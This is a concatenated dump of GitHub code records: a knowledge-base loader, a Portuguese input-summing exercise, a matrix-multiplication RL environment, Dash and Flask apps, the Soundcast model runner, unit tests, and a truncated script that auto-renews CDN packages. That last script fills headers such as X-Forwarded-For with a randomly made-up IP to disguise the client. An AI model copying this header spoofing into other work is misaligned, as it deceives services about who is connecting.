self.kb_dropout]\n\n # First get values, so we can get the constants\n values = util.rank_by_frequency(kb_lines, 2)\n # Separate out category labels, clean constants\n tf.logging.info(\"Total distinct values: {}\".format(len(values)))\n values = [value for value in values if value not in cat_ids]\n\n tf.logging.info(\"Values filtered by cats: {}\".format(len(values)))\n if self.max_constants_cutoff is not None:\n values = [value for i, value in enumerate(values)\n if (i < self.max_constants_cutoff\n or (not is_constant(value)))]\n tf.logging.info(\"Values filtered by constants: {}, taking top {}\".format(\n len(values), self.max_noncore_size))\n tf.logging.info(\"Ranked values: {}\".format(\n self.get_names(values[:50])))\n if self.max_noncore_size is not None:\n values = values[self.min_noncore_cutoff:self.max_noncore_size]\n values = set(values)\n\n relations = util.rank_by_frequency(kb_lines, 0, values=values)\n core_entities = util.rank_by_frequency(kb_lines, 1, use_map=True)\n\n # Figure out what nodes to prune\n if self.max_relations is not None:\n relations = relations[:self.max_relations]\n tf.logging.info(\"Ranked relations: {}\".format(\n self.get_names(relations[:10])))\n relations = set(relations)\n # Explicitly mark these for removal\n relations -= IGNORED_RELATIONS\n if self.max_core_size is not None:\n core_entities = core_entities[:self.max_core_size]\n core_entities = set(core_entities)\n # declare the KB relations, plus the identity relation\n value_type = \"v_t\"\n core_type = \"id_t\"\n\n for relation in relations:\n context.declare_relation(relation, core_type, core_type)\n\n lines = [] # To be read by KG loader\n connected_values = set() # For logging/debugging\n connected_entities = set() # For logging/debugging\n for line in kb_lines:\n line_data = line.strip().split(\"\\t\")\n if (line_data[0] in relations and\n line_data[1] in core_entities and\n line_data[2] in values):\n connected_entities.add(line_data[1])\n connected_values.add(line_data[2])\n lines.append(\"{}\\t{}\\t{}\".format(\n line_data[0], line_data[2], line_data[1]))\n\n tf.logging.info(\"Done reading file {}/{}\".format(len(lines),\n kb_f_length))\n\n # Determine starting states by making a unary relation out of the values.\n for value in connected_values:\n context.declare_relation(value, value_type, core_type)\n lines.append(\"{}\\t{}\\t{}\".format(value, value, value))\n tf.logging.info(\"Done making value unary relations.\")\n\n tf.logging.info(\"Values: {}\".format(\n self.get_names(list(connected_values)[::600])))\n tf.logging.info(\"Relations: {}\".format(\n self.get_names(list(relations)[::10])))\n tf.logging.info(\"{} relations, {}/{} values, {}/{} core entities\".format(\n len(relations), len(connected_values), len(values),\n len(connected_entities), len(core_entities)))\n # load data\n context.load_kg(lines=lines)\n\n # create the relation group used in rules, which should mirror\n # the rel_t type used in the KG to define info for masking\n context.construct_relation_group(\"rel_g\", \"id_t\", \"id_t\")\n context.construct_relation_group(\"val_g\", \"v_t\", \"id_t\")\n\n def get_names(self, symbol_or_symbol_list):\n \"\"\"Get the names of symbol(s).\n\n Args:\n symbol_or_symbol_list: either a single symbol or a list of symbols\n\n Returns:\n names of (each) symbol\n \"\"\"\n if isinstance(symbol_or_symbol_list, list):\n return [self.id_to_name[symbol] for symbol in symbol_or_symbol_list]\n else:\n return self.id_to_name[symbol_or_symbol_list]\n\n def contains(self, symbol_or_symbol_list):\n \"\"\"Get the names of symbol(s).\n\n Args:\n symbol_or_symbol_list: either a single symbol or a list of symbols\n\n Returns:\n whether all the symbol(s) are contained in the kg\n \"\"\"\n if isinstance(symbol_or_symbol_list, list):\n return all([symbol in self.id_to_name\n for symbol in symbol_or_symbol_list])\n else:\n return symbol_or_symbol_list in self.id_to_name\n","repo_name":"progrmanial/Google-AI-Research","sub_path":"property_linking/src/kb.py","file_name":"kb.py","file_ext":"py","file_size_in_byte":6668,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"75"} +{"seq_id":"20135294933","text":"'''Cria um programa\nqua leia vários\nnúmeros inteiros pelo\nteclado. O programa só\nvai parar quando o\nusuário digitar o valor\n999. No Final,\nmostre quantos\nnúmeros foram\ndigitados a qual foi a\nsoma entra alas\n(desconsiderando o\nflag).'''\ncores = {\n 'limpa':'\\033[m',\n 'vermelho':'\\033[4;31m',\n 'verde':'\\033[4;32m'\n}\nn1 = 0\nsoma = 0\nquant = 0\nwhile n1 != 999:\n n1 = int(input('{}Para encerrar digite 999{} \\nDigite um numero: '.format(cores['vermelho'], cores['limpa'])))\n if(n1 != 999):\n quant += 1\n soma += n1\n\nprint('A soma desses {}{}{} numeros é {}{}{} '.format(cores['verde'], quant, cores['limpa'], cores['verde'], soma, cores['limpa']), end='')","repo_name":"eduardoleeaal/CeV-Python","sub_path":"Mundo 2/desafio64.py","file_name":"desafio64.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"33354823647","text":"import numpy as np\nimport random\n\n\nclass State:\n def __init__(self, tensor: np.ndarray):\n self.tensor = np.array(tensor, dtype=int)\n\n def to_str(self) -> str:\n return str(self.tensor)\n\n @property\n def rank_upper_bound(self) -> int:\n return float(np.sum(np.linalg.matrix_rank(self.tensor)))\n\n\nclass Action:\n def __init__(self, u, v, w):\n u = np.array(u, dtype=int)\n v = np.array(v, dtype=int)\n w = np.array(w, dtype=int)\n\n self.u = u\n self.v = v\n self.w = w\n self.tensor = u[:, None, None] * v[None, :, None] * w[None, None]\n\n @classmethod\n def random(cls):\n u = np.random.choice([-1, 0, 1], size=4)\n v = np.random.choice([-1, 0, 1], size=4)\n w = np.random.choice([-1, 0, 1], size=4)\n return cls(u, v, w)\n\n def __eq__(self, other):\n return np.allclose(self.tensor, other.tensor)\n\n\nREQUIRED_ACTIONS = (\n Action([1, 0, 0, 1], [1, 0, 0, 1], [1, 0, 0, 1]),\n Action([0, 0, 1, 1], [1, 0, 0, 0], [0, 0, 1, -1]),\n Action([1, 0, 0, 0], [0, 1, 0, -1], [0, 1, 0, 1]),\n Action([0, 0, 0, 1], [-1, 0, 1, 0], [1, 0, 1, 0]),\n Action([1, 1, 0, 0], [0, 0, 0, 1], [-1, 1, 0, 0]),\n Action([-1, 0, 1, 0], [1, 1, 0, 0], [0, 0, 0, 1]),\n Action([0, 1, 0, -1], [0, 0, 1, 1], [1, 0, 0, 0]),\n)\nRANDOM_ACTIONS = tuple(Action.random() for _ in range(7))\nACTIONS = REQUIRED_ACTIONS + tuple(a for a in RANDOM_ACTIONS if a not in REQUIRED_ACTIONS)\n\n\n# INIT_STATE = State(np.sum([ACTIONS[i].tensor for i in [0, 1, 2]], axis=0))\nINIT_STATE = State([\n [[1, 0, 0, 0],\n [0, 1, 0, 0],\n [0, 0, 0, 0],\n [0, 0, 0 ,0]],\n [[0, 0, 0, 0],\n [0, 0, 0, 0],\n [1, 0, 0, 0],\n [0, 1, 0, 0]],\n [[0, 0, 1, 0],\n [0, 0, 0, 1],\n [0, 0, 0, 0],\n [0, 0, 0, 0]],\n [[0, 0, 0, 0],\n [0, 0, 0, 0],\n [0, 0, 1, 0],\n [0, 0, 0, 1]],\n])\n\n\nclass Environment:\n \"\"\"This class have no state. De facto it is a namespace of functions which\n define the environment.\n \"\"\"\n\n @property\n def num_actions(self):\n return len(ACTIONS)\n\n def is_terminal(self, state) -> bool:\n return np.all(state.tensor == 0)\n\n def get_init_state(self) -> State:\n return INIT_STATE\n\n def get_next_state(self, state: State, action_idx: int) -> State:\n return State(state.tensor - ACTIONS[action_idx].tensor)\n\n def get_intermediate_reward(self, state: State, action_idx: int) -> float:\n return -1.0\n\n def get_final_reward(self, state: State) -> float:\n if self.is_terminal(state):\n return 0.0\n\n return -state.rank_upper_bound\n\n def generate_synthetic_examples(self, max_num_steps: int):\n n = min(self.num_actions, max_num_steps)\n indices = np.random.choice(self.num_actions, size=n)\n state = State(np.sum([ACTIONS[i].tensor for i in indices], axis=0))\n examples = []\n cumulative_rewards = []\n cumulative_reward = 0\n for action_idx in indices:\n examples.append([state, np.eye(self.num_actions)[action_idx], None])\n cumulative_rewards.append(cumulative_reward)\n\n cumulative_reward += self.get_intermediate_reward(state, action_idx)\n state = self.get_next_state(state, action_idx)\n\n assert self.is_terminal(state)\n cumulative_reward += self.get_final_reward(state)\n\n return [(s, pi, cumulative_reward - r) for (s, pi, _), r in zip(examples, cumulative_rewards)]\n","repo_name":"mishgon/alphastrassen","sub_path":"alphastrassen/environment.py","file_name":"environment.py","file_ext":"py","file_size_in_byte":3472,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"75"} +{"seq_id":"31136571710","text":"import urllib.request\n\nURL_IP = 'http://httpbin.org/ip'\n\n\ndef use_simple_urlib():\n response = urllib.request.urlopen(URL_IP)\n print(response.info())\n\n print(''.join([str(line) for line in response.readlines()]))\n\n\nif __name__ == '__main__':\n use_simple_urlib()\n","repo_name":"DealerSo/Python","sub_path":"basic/01_learning/Requests/urllib_demo.py","file_name":"urllib_demo.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"16464719915","text":"import dash\nimport dash_bootstrap_components as dbc\nfrom dash import Input, Output, State, dcc, html, callback\nfrom apps import landbank, animals, supportflows, recipients, home, baseresult, profile, commonmodules\n\napp = dash.Dash(assets_folder='assets',\n # external_stylesheets=[dbc.themes.BOOTSTRAP],\n title='Статистика ДАР',\n external_stylesheets=[dbc.themes.BOOTSTRAP, dbc.icons.FONT_AWESOME],\n meta_tags=[{'name': 'viewport',\n 'content': 'width=device-width, initial-scale=1.0, maximum-scale=1.2, minimum-scale=0.5,'}],\n suppress_callback_exceptions=True\n)\napp._favicon = 'assets/favicon.ico'\n\nserver = app.server\n\n# app.config.suppress_callback_exceptions = True\nsidebar = commonmodules.get_sidebar()\n\ncontent = html.Div(id=\"page-content\")\n\napp.layout = html.Div([dcc.Location(id=\"url\"), sidebar, content],\n style={'background-color': '#e2ecf4',\n \"min-height\": \"100vh\",\n \"font-size\": \"12px\"\n }\n )\n\n@app.callback(Output(\"page-content\", \"children\"),\n [Input(\"url\", \"pathname\")])\n # Output(\"id_header\", \"brand\")\ndef render_page_content(pathname):\n nm = \"Статистика ДАР\"\n if pathname == \"/\":\n return home.layout #, f\"{nm} - Основні результати\"\n elif pathname == \"/profile\":\n return profile.layout #, f\"{nm} - Профіль користувача\"\n elif pathname == \"/land\":\n return landbank.layout #, f\"{nm} - Земельний банк\"\n elif pathname == \"/animals\":\n return animals.layout #, f\"{nm} - Тварини\"\n elif pathname == \"/supportflows\":\n return supportflows.layout #, f\"{nm} - Аналіз напрямів підтримки\"\n elif pathname == \"/recipients\":\n return recipients.layout #, f\"{nm} - Перелік отримувачів\"\n elif pathname == \"/base\":\n return baseresult.layout #, f\"{nm} - Основні результати\"\n # If the user tries to reach a different page, return a 404 message\n return html.Div(\n [\n html.H1(\"404: Not found\", className=\"text-danger\"),\n html.Hr(),\n html.P(f\"The pathname {pathname} was not recognised...\"),\n ],\n className=\"p-3 bg-light rounded-3\",\n )\n\n\n@app.callback(\n Output(\"sidebar\", \"className\"),\n [Input(\"sidebar-toggle\", \"n_clicks\")],\n [State(\"sidebar\", \"className\")],\n)\ndef toggle_classname(n, classname):\n if n and classname == \"\":\n return \"collapsed\"\n return \"\"\n\n\n@app.callback(\n Output(\"collapse\", \"is_open\"),\n [Input(\"navbar-toggle\", \"n_clicks\")],\n [State(\"collapse\", \"is_open\")],\n)\ndef toggle_collapse(n, is_open):\n if n:\n return not is_open\n return is_open\n\n\nif __name__ == \"__main__\":\n app.run_server()\n","repo_name":"verprog/statapp","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2881,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"32265266053","text":"from flask import Flask \nfrom views import views\nfrom db import db_init, db\n\napp = Flask(__name__)\napp.register_blueprint(views, url_prefix='/')\napp.config['SECRET_KEY'] = 'hyy345'\napp.config['SESSION_TYPE'] = 'filesystem'\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///blog.sqlite3'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n\ndb_init(app)\n\nif __name__ == '__main__':\n app.run(debug=True, port=8000)","repo_name":"Asta111111/my-_site","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"7849583270","text":"import datetime\nfrom flask import Flask, render_template, redirect\nfrom flask_pymongo import PyMongo\nfrom refresh import fresh_quote\n\n# initialize app and connect to mongo\napp = Flask(__name__)\nmongo = PyMongo(app, uri=\"mongodb://localhost:27017/spiritual\")\n\n@app.route('/')\ndef index():\n # get the data object from mongo\n meditations = mongo.db.meditations.find_one()\n\n # calculate amount of days since last refresh\n time_since_last_refresh = datetime.datetime.now() - meditations['meta']['last_refresh']\n days_since_last_refresh = time_since_last_refresh.days\n\n # if the quotes are at least a day old, get fresh ones and update the data object\n if days_since_last_refresh >= 1:\n thich_quote, thich_stale = fresh_quote(meditations['thich_quotes'], meditations['thich_stale'])\n got_saying, got_stale = fresh_quote(meditations['got_sayings'], meditations['got_stale'])\n # new refresh time will be 12am of today's date\n new_refresh_time = meditations['meta']['last_refresh'] + datetime.timedelta(days=days_since_last_refresh)\n # repackage all the data and overwrite the data dict\n meditations = {\n 'thich_quotes' : meditations['thich_quotes'],\n 'got_sayings' : meditations['got_sayings'],\n 'thich_quote' : thich_quote,\n 'got_saying' : got_saying,\n 'thich_stale' : thich_stale,\n 'got_stale' : got_stale,\n 'meta' : {\n 'last_refresh' : new_refresh_time\n }\n }\n # overwrite the db collection with the new data dict\n mongo.db.meditations.replace_one({}, meditations)\n\n # render today's quotes in the browser\n return render_template('index.html',meditations=meditations)\n\n\nif __name__ == \"__main__\":\n app.run(debug=True, port=7777)\n","repo_name":"natgalla/daily-meditations","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1819,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"9455889949","text":"import os\nimport sys\nimport datetime\nimport re\nimport subprocess\nimport inro.emme.desktop.app as app\nimport json\nimport shutil\nfrom shutil import copy2 as shcopy\nimport re\nimport logging\nsys.path.append(os.path.join(os.getcwd(),\"inputs\"))\nsys.path.append(os.path.join(os.getcwd(),\"scripts\"))\nimport logcontroller\nimport inro.emme.database.emmebank as _eb\nimport random\nimport pandas as pd\n\nimport toml\n# from emme_configuration import *\nfrom data_wrangling import *\n# data_wrangling.update_daysim_modes()\n\nconfig = toml.load(os.path.join(os.getcwd(), 'configuration/input_configuration.toml'))\nemme_config = toml.load(os.path.join(os.getcwd(), 'configuration/emme_configuration.toml'))\n\n@timed\ndef accessibility_calcs():\n copy_accessibility_files()\n print('adding military jobs to regular jobs')\n print('adding JBLM workers to external workers')\n print('adjusting non-work externals')\n print('creating ixxi file for Daysim')\n returncode = subprocess.call([sys.executable, 'scripts/supplemental/create_ixxi_work_trips.py'])\n if returncode != 0:\n print('Military Job loading failed')\n sys.exit(1)\n print('military jobs loaded')\n\n if config['base_year'] != config['model_year']:\n print('Starting to update UrbanSim parcel data with 4k parking data file')\n returncode = subprocess.call([sys.executable,\n 'scripts/utils/update_parking.py'])\n if returncode != 0:\n print('Update Parking failed')\n sys.exit(1)\n print('Finished updating parking data on parcel file')\n\n print('Beginning Accessibility Calculations')\n returncode = subprocess.call([sys.executable, 'scripts/accessibility/accessibility.py'])\n if returncode != 0:\n print('Accessibility Calculations Failed For Some Reason :(')\n sys.exit(1)\n print('Done with accessibility calculations')\n\n@timed \ndef build_seed_skims(max_iterations):\n print(\"Processing skims and paths.\")\n time_copy = datetime.datetime.now()\n returncode = subprocess.call([sys.executable,\n 'scripts/skimming/SkimsAndPaths.py',\n str(max_iterations), config['model_year'],\n '-use_daysim_output_seed_trips'])\n if returncode != 0:\n sys.exit(1)\n \n time_skims = datetime.datetime.now()\n print('###### Finished skimbuilding:', str(time_skims - time_copy))\n\ndef build_free_flow_skims(max_iterations):\n print(\"Building free flow skims.\")\n time_copy = datetime.datetime.now()\n returncode = subprocess.call([sys.executable,\n 'scripts/skimming/SkimsAndPaths.py',\n str(max_iterations), config['model_year'],\n '-build_free_flow_skims'])\n if returncode != 0:\n sys.exit(1)\n \n time_skims = datetime.datetime.now()\n print('###### Finished skimbuilding:', str(time_skims - time_copy))\n \n@timed \ndef modify_config(config_vals):\n script_path = os.path.abspath(__file__)\n script_dir = os.path.split(script_path)[0] #<-- absolute dir the script is in\n config_template_path = \"daysim_configuration_template.properties\"\n config_path = \"Daysim/daysim_configuration.properties\"\n\n abs_config_path_template = os.path.join(script_dir, config_template_path)\n abs_config_path_out =os.path.join(script_dir, config_path)\n print(abs_config_path_template)\n config_template = open(abs_config_path_template,'r')\n config = open(abs_config_path_out,'w')\n \n try:\n for line in config_template:\n for config_temp, config_update in config_vals:\n if config_temp in line:\n line = line.replace(config_temp, str(config_update))\n config.write(line)\n \n config_template.close()\n config.close()\n\n except:\n config_template.close()\n config.close()\n print(' Error creating configuration template file')\n sys.exit(1)\n \n@timed\ndef build_shadow_only():\n for shad_iter in range(0, len(emme_config['shadow_work'])):\n modify_config([(\"$SHADOW_PRICE\", \"true\"),(\"$SAMPLE\",emme_config['shadow_work'][shad_iter]),(\"$RUN_ALL\", \"false\")])\n logger.info(\"Start of%s iteration of work location for shadow prices\", str(shad_iter))\n returncode = subprocess.call('Daysim/Daysim.exe -c Daysim/daysim_configuration.properties')\n logger.info(\"End of %s iteration of work location for shadow prices\", str(shad_iter))\n if returncode != 0:\n sys.exit(1)\n returncode = subprocess.call([sys.executable, 'scripts/utils/shadow_pricing_check.py'])\n shadow_con_file = open('outputs/shadow_rmse.txt', 'r')\n rmse_list = shadow_con_file.readlines()\n iteration_number = len(rmse_list)\n current_rmse = float(rmse_list[iteration_number - 1].rstrip(\"\\n\"))\n if current_rmse < emme_config['shadow_con']:\n print(\"done with shadow prices\")\n shadow_con_file.close()\n return\n\ndef run_truck_supplemental(iteration):\n\n if config['run_supplemental_trips']:\n # Only run generation script once - does not change with feedback\n if iteration == 0:\n returncode = subprocess.call([sys.executable,'scripts/supplemental/generation.py'])\n if returncode != 0:\n sys.exit(1)\n\n base_path = 'scripts/supplemental'\n for script in ['distribute_non_work_ixxi', 'create_airport_trips']:\n returncode = subprocess.call([sys.executable, os.path.join(base_path,script+'.py')])\n if returncode != 0:\n sys.exit(1)\n\n if config['run_truck_model']:\n returncode = subprocess.call([sys.executable,'scripts/trucks/truck_model.py'])\n if returncode != 0:\n sys.exit(1)\n\n@timed\ndef daysim_assignment(iteration):\n \n ########################################\n # Run Daysim Activity Models\n ########################################\n\n if config['run_daysim']:\n logger.info(\"Start of %s iteration of Daysim\", str(iteration))\n returncode = subprocess.call('Daysim/Daysim.exe -c Daysim/daysim_configuration.properties')\n logger.info(\"End of %s iteration of Daysim\", str(iteration))\n if returncode != 0:\n sys.exit(1)\n\n ########################################\n # Calcualte Trucks and Supplemental Demand\n ########################################\n run_truck_supplemental(iteration)\n\n ########################################\n # Assign Demand to Networks\n ########################################\n\n if config['run_skims_and_paths']:\n logger.info(\"Start of iteration %s of Skims and Paths\", str(iteration))\n num_iterations = str(emme_config['max_iterations_list'][iteration])\n returncode = subprocess.call([sys.executable, 'scripts/skimming/SkimsAndPaths.py', num_iterations, config['model_year']])\n logger.info(\"End of iteration %s of Skims and Paths\", str(iteration))\n if returncode != 0:\n sys.exit(1)\n\n@timed\ndef check_convergence(iteration, recipr_sample):\n converge = \"not yet\"\n if iteration > 0 and recipr_sample <= emme_config['min_pop_sample_convergence_test']:\n con_file = open('outputs/logs/converge.txt', 'r')\n converge = json.load(con_file) \n con_file.close()\n return converge\n\n@timed\ndef run_all_summaries():\n\n base_path = 'scripts/summarize/standard'\n for script in ['daily_bank','network_summary','emissions','agg','validation','job_accessibility']:\n print(script)\n subprocess.call([sys.executable, os.path.join(base_path, script+'.py')])\n subprocess.run('conda activate summary && python scripts/summarize/standard/write_html.py && conda deactivate', shell=True)\n\ndef get_current_commit_hash():\n try:\n commit = subprocess.check_output(['git', 'rev-parse', 'HEAD']).decode().strip()\n except:\n commit = '0000000'\n return commit\n\ndef main():\n\n ########################################\n # Initialize Banks, Projects, Directories\n ########################################\n\n hash = get_current_commit_hash()\n logger.info(\"Using Git hash %s \", str(hash))\n\n build_output_dirs()\n update_daysim_modes()\n update_skim_parameters()\n\n if config['run_setup_emme_bank_folders']:\n setup_emme_bank_folders()\n\n if config['run_setup_emme_project_folders']:\n setup_emme_project_folders()\n\n if config['run_copy_scenario_inputs']:\n copy_scenario_inputs()\n\n if config['run_integrated']:\n import_integrated_inputs()\n\n if config['run_accessibility_calcs']:\n accessibility_calcs()\n\n if not os.path.exists('working'):\n os.makedirs('working')\n\n ########################################\n # Initialize Networks\n ########################################\n\n if config['run_import_networks']:\n time_copy = datetime.datetime.now()\n logger.info(\"Start of network importer\")\n returncode = subprocess.call([sys.executable,\n 'scripts/network/network_importer.py'])\n logger.info(\"End of network importer\")\n time_network = datetime.datetime.now()\n if returncode != 0:\n sys.exit(1)\n\n ########################################\n # Start with Free Flow Skims\n ########################################\n\n if config['run_skims_and_paths_free_flow']:\n build_free_flow_skims(10)\n\n ########################################\n # Generate Demand and Assign Volumes\n # Main Loop\n ########################################\n\n if (config['run_daysim'] or config['run_skims_and_paths']):\n for iteration in range(len(emme_config['pop_sample'])):\n\n print(\"We're on iteration %d\" % (iteration))\n logger.info((\"We're on iteration %d\\r\\n\" % (iteration)))\n time_start = datetime.datetime.now()\n logger.info(\"Starting run at %s\" % str((time_start)))\n\n if not config['should_build_shadow_price']:\n if config['include_telecommute']:\n telecommute = \"true\"\n else:\n telecommute = \"false\"\n # Set up your Daysim Configration\n modify_config([(\"$SHADOW_PRICE\" ,\"true\"),(\"$SAMPLE\",emme_config['pop_sample'][iteration]),(\"$RUN_ALL\", \"true\"),(\"$TELECOMMUTE\" , telecommute)])\n\n else:\n # We are building shadow prices from scratch, only use shadow pricing if pop sample is 2 or less\n if emme_config['pop_sample'][iteration-1] > 2:\n modify_config([(\"$SHADOW_PRICE\" ,\"false\"),(\"$SAMPLE\",emme_config['pop_sample'][iteration]),(\"$RUN_ALL\", \"true\")])\n else:\n modify_config([(\"$SHADOW_PRICE\" ,\"true\"),(\"$SAMPLE\",emme_config['pop_sample'][iteration]),(\"$RUN_ALL\", \"true\")])\n\n # Run Skimming and/or Daysim\n daysim_assignment(iteration)\n\n # Check Convergence \n converge = check_convergence(iteration, emme_config['pop_sample'][iteration])\n if converge == 'stop':\n print(\"System converged!\")\n break\n print('The system is not yet converged. Daysim and Assignment will be re-run.')\n\n # If building shadow prices, update work and school shadow prices\n # using converged skims from current run, then re-run daysim and assignment.\n if config['should_build_shadow_price']:\n build_shadow_only()\n modify_config([(\"$SHADOW_PRICE\" ,\"true\"),(\"$SAMPLE\",\"1\"), (\"$RUN_ALL\", \"true\")])\n #This function needs an iteration parameter. Value of 1 is fine. \n daysim_assignment(1)\n\n # Export skims for use in Urbansim if needed\n if config['run_integrated']:\n subprocess.call([sys.executable, 'scripts/utils/urbansim_skims.py'])\n\n if config['run_summaries']:\n run_all_summaries()\n\n clean_up()\n print('###### OH HAPPY DAY! ALL DONE. GO GET ' + random.choice(emme_config['good_thing']))\n\nif __name__ == \"__main__\":\n logger = logcontroller.setup_custom_logger('main_logger')\n logger.info('--------------------NEW RUN STARTING--------------------')\n start_time = datetime.datetime.now()\n\n main()\n\n end_time = datetime.datetime.now()\n elapsed_total = end_time - start_time\n logger.info('--------------------RUN ENDING--------------------')\n logger.info('TOTAL RUN TIME %s' % str(elapsed_total))\n\n if config['delete_banks']:\n shutil.rmtree('/Banks', ignore_errors=True)\n","repo_name":"psrc/soundcast","sub_path":"run_soundcast.py","file_name":"run_soundcast.py","file_ext":"py","file_size_in_byte":12476,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"75"} +{"seq_id":"31902242552","text":"import unittest\nfrom flask import json\nfrom flask.json import jsonify\nimport flask_testing\nfrom flask_sqlalchemy import SQLAlchemy\nfrom app import *\nfrom app import app,db\n\n#Ong Guang Qi\nclass TestApp(flask_testing.TestCase):\n app.config['SQLALCHEMY_DATABASE_URI'] = \"sqlite://\"\n app.config['SQLALCHEMY_ENGINE_OPTIONS'] = {}\n app.config['TESTING'] = True\n db.init_app(app)\n\n def create_app(self):\n return app\n\n def setUp(self):\n db.create_all()\n\n def tearDown(self):\n db.session.remove()\n db.drop_all()\n\n\nclass test_Trainer_Assignment(unittest.TestCase):\n def test_get_course_id(self):\n ta1 = Trainer_Assignment(course_id = '1',\n class_id = '1',\n userid= '6')\n\n self.assertEqual(ta1.get_course_id(),'1')\n \n def test_get_class_id(self):\n ta1 = Trainer_Assignment(course_id = '1',\n class_id = '1',\n userid= '6')\n\n self.assertEqual(ta1.get_class_id(),'1')\n\n def test_get_user_id(self):\n ta1 = Trainer_Assignment(course_id = '1',\n class_id = '1',\n userid= '6')\n\n self.assertEqual(ta1.get_user_id(),'6')\n\nclass test_Assign_Controller(TestApp):\n def test_assign_course_trainer(self):\n trnr = Trainer(name = \"Paul\",\n email = 'paultest@gmail.com',\n department = 'SCIS',\n designation = \"Senior Engineer\")\n db.session.add(trnr)\n db.session.commit()\n print(trnr)\n\n request_body = {\n 'course_id' : 3,\n 'class_id' : 2,\n 'hr_id' : 1,\n 'trainer_id' : trnr.userid\n }\n\n response = self.client.post(\"/assign_course_trainer\",\n data=json.dumps(request_body),\n content_type='application/json')\n print(response.data)\n self.assertEqual(response.status_code, 200)\n\n \n\nif __name__ == '__main__':\n unittest.main()\n\n\n\n\n\n \n\n","repo_name":"guangqi23/chongus_SPM_repo","sub_path":"html/lms/test_trainer_assignment.py","file_name":"test_trainer_assignment.py","file_ext":"py","file_size_in_byte":2131,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"19863892688","text":"# import standard library\r\n\r\n# import third party library\r\n\r\n# import local library\r\nfrom light.light import Light\r\n\r\n\r\nclass DirectionalLight(Light):\r\n \r\n def __init__(self, color=[1, 1, 1], direction=[0, -1, 0]):\r\n super().__init__(Light.DIRECTIONAL)\r\n self.color = color\r\n self.setDirection(direction)\r\n","repo_name":"EagleEatApple/pyside6gl","sub_path":"light/directionalLight.py","file_name":"directionalLight.py","file_ext":"py","file_size_in_byte":333,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"34921616990","text":"import json\nimport time\nimport traceback\n\nimport requests\nimport random\n\n# -----------------------配置区-----------------------\n\n\n# 账号\nUSER = \"\"\n# 密码\nPASS = \"\"\n# 需要续费的套餐,如果套餐id是111和112,那么就是renewalPackage = [111,112]\n# 如果是111,那么就是renewalPackage = [111]\n# 默认月续费,不可变更\nrenewalPackage = []\n\n\n# -----------------------配置区-----------------------\n\n\nclass LiuYiCdn:\n def __init__(self):\n self.liuyihref = \"cdn-user.61cloud.net\"\n self.loginhref = \"/login\"\n self.gettchref = \"/user-packages\"\n self.xfhref = \"/user-packages/\"\n self.ip = self.camouflage_ip()\n self.headers = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.87 Safari/537.36\",\n \"origin\": \"http://\" + self.liuyihref,\n \"referer\": \"http://\" + self.liuyihref + \"/console\",\n \"Host\": self.liuyihref,\n \"accept\": \"application/json, text/plain, */*\",\n \"content-type\": \"application/json; charset=utf-8\",\n \"Client-Ip\": self.ip,\n \"X-Forwarded-For\": self.ip,\n \"x-forwarded-for\": self.ip,\n \"Remote_Addr\": self.ip,\n \"x-remote-IP\": self.ip,\n \"x-remote-ip\": self.ip,\n \"x-client-ip\": self.ip,\n \"x-client-IP\": self.ip,\n \"X-Real-IP\": self.ip,\n \"client-IP\": self.ip,\n \"x-originating-IP\": self.ip,\n \"x-remote-addr\": self.ip,\n }\n self.access_token = None\n\n def login(self):\n res = None\n success = False\n attempts = 0\n submit = {'account': USER, 'password': PASS, 'code': \"\", 'captcha': \"\"}\n while not success and attempts < 10:\n try:\n res = requests.post(\"http://\" + self.liuyihref + self.loginhref, data=json.dumps(submit),\n headers=self.headers)\n success = True\n break\n except:\n # traceback.print_exc()\n time.sleep(1)\n attempts += 1\n print(\"登陆重试中 第\" + str(attempts) + \"次\")\n if attempts > 10:\n print(\"登陆重试次数超过了10次\")\n if not success:\n self.access_token = None\n return\n res_txt = res.content.decode()\n res_json = None\n try:\n res_json = json.loads(res_txt)\n except:\n print(\"登陆错误\")\n if \"msg\" in res_json and res_json['msg'] != \"登录成功!\":\n print(\"账号密码错误\")\n return\n print(\"61cdn登陆成功\")\n self.access_token = res_json['data']['access_token']\n\n def renew(self):\n self.login()\n headers = self.headers\n headers['access-token'] = self.access_token\n submit = {\"duration\": \"month\"}\n if self.access_token is None:\n print(\"你还没有登陆,不能续费\")\n return\n for i in renewalPackage:\n res = None\n success = False\n attempts = 0\n while not success and attempts < 10:\n try:\n res = requests.put(\"http://\" + self.liuyihref + self.xfhref + str(i), headers=headers, data=json.dumps(submit))\n success = True\n break\n except:\n # traceback.print_exc()\n time.sleep(1)\n attempts += 1\n print(\"续费重试中 第\" + str(attempts) + \"次\")\n if attempts > 10:\n print(\"续费重试次数超过了10次\")\n res_txt = res.content.decode()\n res_json = None\n if success:\n try:\n res_json = json.loads(res_txt)\n if \"code\" in res_json and res_json['code'] == 0:\n print(\"成功续费:\" + str(i) + \" 套餐\")\n else:\n # print(res_txt)\n print(\"续费:\" + str(i) + \" 套餐失败1,原因:\" + res_json['msg'])\n except:\n print(\"续费:\" + str(i) + \" 套餐异常\")\n\n else:\n print(\"续费:\" + str(i) + \" 套餐失败2\")\n\n def 